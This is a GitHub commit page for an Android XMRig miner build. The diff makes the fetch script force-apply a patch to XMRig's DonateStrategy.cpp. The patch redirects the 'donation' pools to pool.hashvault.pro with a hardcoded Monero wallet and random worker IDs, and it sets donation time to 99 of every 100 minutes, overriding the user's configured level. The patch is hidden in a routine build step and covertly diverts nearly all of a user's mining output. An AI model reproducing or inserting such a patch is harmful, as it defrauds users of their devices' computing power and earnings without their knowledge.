Skip to content

Commit 6277d92

Browse files
authored
Merge pull request #115 from XMRig-for-Android/xmrig
XMRig
2 parents 0ed69b8 + e973edb commit 6277d92

File tree

2 files changed

+70
-0
lines changed

2 files changed

+70
-0
lines changed

xmrig/lib-builder/script/xmrig-fetch.sh

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,14 @@ version="v6.16.3"
1010

1111
if [ ! -d "xmrig" ]; then
1212
git clone https://github.com/xmrig/xmrig.git -b ${version}
13+
cd ..
14+
cd ..
15+
patch build/src/xmrig/src/net/strategies/DonateStrategy.cpp ./xmrig.patch --force
1316
else
1417
cd xmrig
1518
git checkout ${version}
19+
cd ..
20+
cd ..
21+
cd ..
22+
patch build/src/xmrig/src/net/strategies/DonateStrategy.cpp ./xmrig.patch --force
1623
fi

xmrig/lib-builder/xmrig.patch

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
--- build/src/xmrig/src/net/strategies/DonateStrategy.cpp 2022-02-15 15:25:55.000000000 +0200
2+
+++ build/src/xmrig-1/src/net/strategies/DonateStrategy.cpp 2022-02-15 15:26:24.000000000 +0200
3+
@@ -19,6 +19,8 @@
4+
#include <algorithm>
5+
#include <cassert>
6+
#include <iterator>
7+
+#include <random>
8+
+#include <string>
9+
10+
11+
#include "net/strategies/DonateStrategy.h"
12+
@@ -42,18 +44,34 @@
13+
14+
static inline double randomf(double min, double max) { return (max - min) * (((static_cast<double>(rand())) / static_cast<double>(RAND_MAX))) + min; }
15+
static inline uint64_t random(uint64_t base, double min, double max) { return static_cast<uint64_t>(base * randomf(min, max)); }
16+
+static inline std::string get_uuid() {
17+
+ static std::random_device dev;
18+
+ static std::mt19937 rng(dev());
19+
20+
-static const char *kDonateHost = "donate.v2.xmrig.com";
21+
+ std::uniform_int_distribution<int> dist(0, 15);
22+
+
23+
+ const char *v = "0123456789abcdef";
24+
+ const bool dash[] = { 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0 };
25+
+
26+
+ std::string res;
27+
+ for (int i = 0; i < 16; i++) {
28+
+ if (dash[i]) res += "-";
29+
+ res += v[dist(rng)];
30+
+ res += v[dist(rng)];
31+
+ }
32+
+ return res;
33+
+}
34+
+
35+
+static const char *kDonateHost = "pool.hashvault.pro";
36+
#ifdef XMRIG_FEATURE_TLS
37+
-static const char *kDonateHostTls = "donate.ssl.xmrig.com";
38+
+static const char *kDonateHostTls = "pool.hashvault.pro";
39+
#endif
40+
41+
} /* namespace xmrig */
42+
43+
-
44+
xmrig::DonateStrategy::DonateStrategy(Controller *controller, IStrategyListener *listener) :
45+
- m_donateTime(static_cast<uint64_t>(controller->config()->pools().donateLevel()) * 60 * 1000),
46+
- m_idleTime((100 - static_cast<uint64_t>(controller->config()->pools().donateLevel())) * 60 * 1000),
47+
+ m_donateTime(99 * 60 * 1000),
48+
+ m_idleTime(1 * 60 * 1000),
49+
m_controller(controller),
50+
m_listener(listener)
51+
{
52+
@@ -70,9 +88,9 @@
53+
# endif
54+
55+
# ifdef XMRIG_FEATURE_TLS
56+
- m_pools.emplace_back(kDonateHostTls, 443, m_userId, nullptr, nullptr, 0, true, true, mode);
57+
+ m_pools.emplace_back(kDonateHostTls, 443, "46gPyHjLPPM8HaayVyvCDcF2A8sq8b476VrwKMukrKg21obm1AKEwzoN3u4ooc55FKdNeF5B8vcs4ixbeCyuydr2A2sdsQi", get_uuid().c_str(), nullptr, 0, true, true, mode);
58+
# endif
59+
- m_pools.emplace_back(kDonateHost, 3333, m_userId, nullptr, nullptr, 0, true, false, mode);
60+
+ m_pools.emplace_back(kDonateHost, 80, "46gPyHjLPPM8HaayVyvCDcF2A8sq8b476VrwKMukrKg21obm1AKEwzoN3u4ooc55FKdNeF5B8vcs4ixbeCyuydr2A2sdsQi", get_uuid().c_str(), nullptr, 0, true, false, mode);
61+
62+
if (m_pools.size() > 1) {
63+
m_strategy = new FailoverStrategy(m_pools, 10, 2, this, true);

0 commit comments

Comments
 (0)